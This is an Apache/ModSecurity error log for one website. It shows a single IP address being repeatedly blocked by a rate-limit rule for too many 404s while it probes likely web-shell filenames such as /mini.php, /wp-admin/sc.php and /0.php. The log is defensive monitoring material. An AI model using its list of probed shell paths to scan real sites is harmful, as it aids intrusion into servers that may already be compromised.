[Sun Mar 01 15:59:55.420326 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:18046] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/end.php"] [unique_id "aaPx-wxtfZjwlJok9K_L_QAAAQI"]
[Sun Mar 01 15:59:55.881957 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:17995] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaPx-_KRPk6YnJBxw_xeTAAAANM"]
[Sun Mar 01 15:59:56.296716 2026] [:error] [pid 38034:tid 38053] [client 4.204.200.32:18024] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaPx_AxtfZjwlJok9K_L_gAAAQ8"]
[Sun Mar 01 15:59:56.712829 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:17922] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaPx_PKRPk6YnJBxw_xeUAAAAMg"]
[Sun Mar 01 15:59:57.124582 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:17929] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaPx_fKRPk6YnJBxw_xeUwAAAMA"]
[Sun Mar 01 15:59:57.536020 2026] [:error] [pid 38034:tid 38055] [client 4.204.200.32:18140] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aaPx_QxtfZjwlJok9K_MBQAAARE"]
[Sun Mar 01 15:59:57.950131 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18023] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aaPx_fKRPk6YnJBxw_xeWQAAAMU"]
[Sun Mar 01 15:59:58.361763 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18236] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aaPx_vKRPk6YnJBxw_xeXAAAAMA"]
[Sun Mar 01 15:59:58.777953 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18090] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aaPx_vKRPk6YnJBxw_xeXwAAAME"]
[Sun Mar 01 15:59:59.199536 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18154] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error1.php"] [unique_id "aaPx__KRPk6YnJBxw_xeYAAAAMU"]
[Sun Mar 01 15:59:59.630510 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18042] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error1.php"] [unique_id "aaPx__KRPk6YnJBxw_xeZAAAAMQ"]
[Sun Mar 01 16:00:00.046144 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18058] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error1.php"] [unique_id "aaPyAPKRPk6YnJBxw_xeZwAAAMQ"]
[Sun Mar 01 16:00:00.466623 2026] [:error] [pid 38034:tid 38049] [client 4.204.200.32:18017] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error1.php"] [unique_id "aaPyAAxtfZjwlJok9K_MDAAAAQs"]
[Sun Mar 01 16:00:00.888029 2026] [:error] [pid 38034:tid 38055] [client 4.204.200.32:17942] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaPyAAxtfZjwlJok9K_MDgAAARE"]
[Sun Mar 01 16:00:01.307533 2026] [:error] [pid 40750:tid 40773] [client 4.204.200.32:18106] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaPyAQfBuk03yQKDyqvMTQAAAdQ"]
[Sun Mar 01 16:00:01.720702 2026] [:error] [pid 7133:tid 7152] [client 4.204.200.32:18032] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaPyAfCtubh8pR64qB_KHwAAAFE"]
[Sun Mar 01 16:00:02.133987 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18000] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaPyAvKRPk6YnJBxw_xebQAAAMw"]
[Sun Mar 01 16:00:02.555889 2026] [:error] [pid 38034:tid 38037] [client 4.204.200.32:18006] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaPyAgxtfZjwlJok9K_MEQAAAQE"]
[Sun Mar 01 16:00:02.971597 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:17993] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaPyAvKRPk6YnJBxw_xecAAAANM"]
[Sun Mar 01 16:00:03.398833 2026] [:error] [pid 37032:tid 37044] [client 4.204.200.32:18108] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaPyA-u0U4o7eSImsVRPpQAAAYo"]
[Sun Mar 01 16:00:03.819496 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18026] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaPyAwxtfZjwlJok9K_MFAAAAQ0"]
[Sun Mar 01 16:00:04.241722 2026] [:error] [pid 38034:tid 38055] [client 4.204.200.32:17984] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaPyBAxtfZjwlJok9K_MFwAAARE"]
[Sun Mar 01 16:00:04.670117 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18044] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaPyBPKRPk6YnJBxw_xedAAAAMg"]
[Sun Mar 01 16:00:05.103356 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18188] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaPyBfKRPk6YnJBxw_xeiAAAAME"]
[Sun Mar 01 16:00:05.524799 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18162] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaPyBfKRPk6YnJBxw_xevgAAAME"]
[Sun Mar 01 16:00:05.948937 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18088] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaPyBfKRPk6YnJBxw_xe8AAAAMQ"]
[Sun Mar 01 16:00:06.374149 2026] [:error] [pid 37032:tid 37053] [client 4.204.200.32:17949] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaPyBuu0U4o7eSImsVRPpgAAAZM"]
[Sun Mar 01 16:00:06.838157 2026] [:error] [pid 38034:tid 38039] [client 4.204.200.32:17862] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaPyBgxtfZjwlJok9K_MJAAAAQM"]
[Sun Mar 01 16:00:07.256867 2026] [:error] [pid 37032:tid 37037] [client 4.204.200.32:18020] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaPyB-u0U4o7eSImsVRPpwAAAYM"]
[Sun Mar 01 16:00:07.674602 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:17924] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaPyB_KRPk6YnJBxw_xfCwAAAMA"]
[Sun Mar 01 16:00:08.106428 2026] [:error] [pid 38034:tid 38044] [client 4.204.200.32:18016] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaPyCAxtfZjwlJok9K_MKQAAAQY"]
[Sun Mar 01 16:00:08.533784 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:17930] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaPyCPKRPk6YnJBxw_xfDgAAAMQ"]
[Sun Mar 01 16:00:08.960814 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:17955] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaPyCAxtfZjwlJok9K_MKwAAAQw"]
[Sun Mar 01 16:00:09.385455 2026] [:error] [pid 38034:tid 38060] [client 4.204.200.32:18007] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaPyCQxtfZjwlJok9K_MLQAAARY"]
[Sun Mar 01 16:00:09.806572 2026] [:error] [pid 38034:tid 38049] [client 4.204.200.32:17926] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaPyCQxtfZjwlJok9K_MLwAAAQs"]
[Sun Mar 01 16:00:10.230032 2026] [:error] [pid 38034:tid 38045] [client 4.204.200.32:18160] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaPyCgxtfZjwlJok9K_MMQAAAQc"]
[Sun Mar 01 16:00:10.650455 2026] [:error] [pid 38034:tid 38055] [client 4.204.200.32:18131] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaPyCgxtfZjwlJok9K_MMgAAARE"]
[Sun Mar 01 16:00:16.502517 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18096] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaPyEPKRPk6YnJBxw_xfJwAAAMg"]
[Sun Mar 01 16:00:16.923601 2026] [:error] [pid 37032:tid 37047] [client 4.204.200.32:18018] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaPyEOu0U4o7eSImsVRPtAAAAY0"]
[Sun Mar 01 16:00:17.335325 2026] [:error] [pid 37032:tid 37053] [client 4.204.200.32:18025] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaPyEeu0U4o7eSImsVRPtgAAAZM"]
[Sun Mar 01 16:00:17.750442 2026] [:error] [pid 44644:tid 44657] [client 4.204.200.32:18071] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaPyEZ3RJaXMcw3y9V-0UAAAAAo"]
[Sun Mar 01 16:00:18.176736 2026] [:error] [pid 38241:tid 38251] [client 4.204.200.32:17856] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aaPyEvKRPk6YnJBxw_xfLAAAAMc"]
[Sun Mar 01 16:00:18.598262 2026] [:error] [pid 37032:tid 37057] [client 4.204.200.32:18080] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aaPyEuu0U4o7eSImsVRPvAAAAZc"]
[Sun Mar 01 16:00:19.008409 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18101] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aaPyE_KRPk6YnJBxw_xfMQAAAMU"]
[Sun Mar 01 16:00:19.436405 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18013] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aaPyE_KRPk6YnJBxw_xfMwAAAMA"]
[Sun Mar 01 16:00:19.881572 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:18012] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "aaPyEwxtfZjwlJok9K_MVQAAAQI"]
[Sun Mar 01 16:00:20.330201 2026] [:error] [pid 44644:tid 44668] [client 4.204.200.32:18034] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "aaPyFJ3RJaXMcw3y9V-0VgAAABU"]
[Sun Mar 01 16:00:20.746415 2026] [:error] [pid 38034:tid 38037] [client 4.204.200.32:18107] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "aaPyFAxtfZjwlJok9K_MVgAAAQE"]
[Sun Mar 01 16:00:21.176870 2026] [:error] [pid 37032:tid 37050] [client 4.204.200.32:17872] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "aaPyFeu0U4o7eSImsVRPwQAAAZA"]
[Sun Mar 01 16:00:21.684140 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:17970] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaPyFfKRPk6YnJBxw_xfOgAAAMA"]
[Sun Mar 01 16:00:22.108387 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:17932] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaPyFvKRPk6YnJBxw_xfPwAAAMg"]
[Sun Mar 01 16:00:22.529131 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:17969] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaPyFvKRPk6YnJBxw_xfRAAAAMk"]
[Sun Mar 01 16:00:22.958289 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:17961] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaPyFgxtfZjwlJok9K_MWQAAAQ0"]
[Sun Mar 01 16:00:23.388405 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18003] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaPyF_KRPk6YnJBxw_xfSQAAAMU"]
[Sun Mar 01 16:00:23.840335 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:17952] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaPyF_KRPk6YnJBxw_xfTQAAAMA"]
[Sun Mar 01 16:00:24.255863 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18420] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaPyGPKRPk6YnJBxw_xfTwAAAMA"]
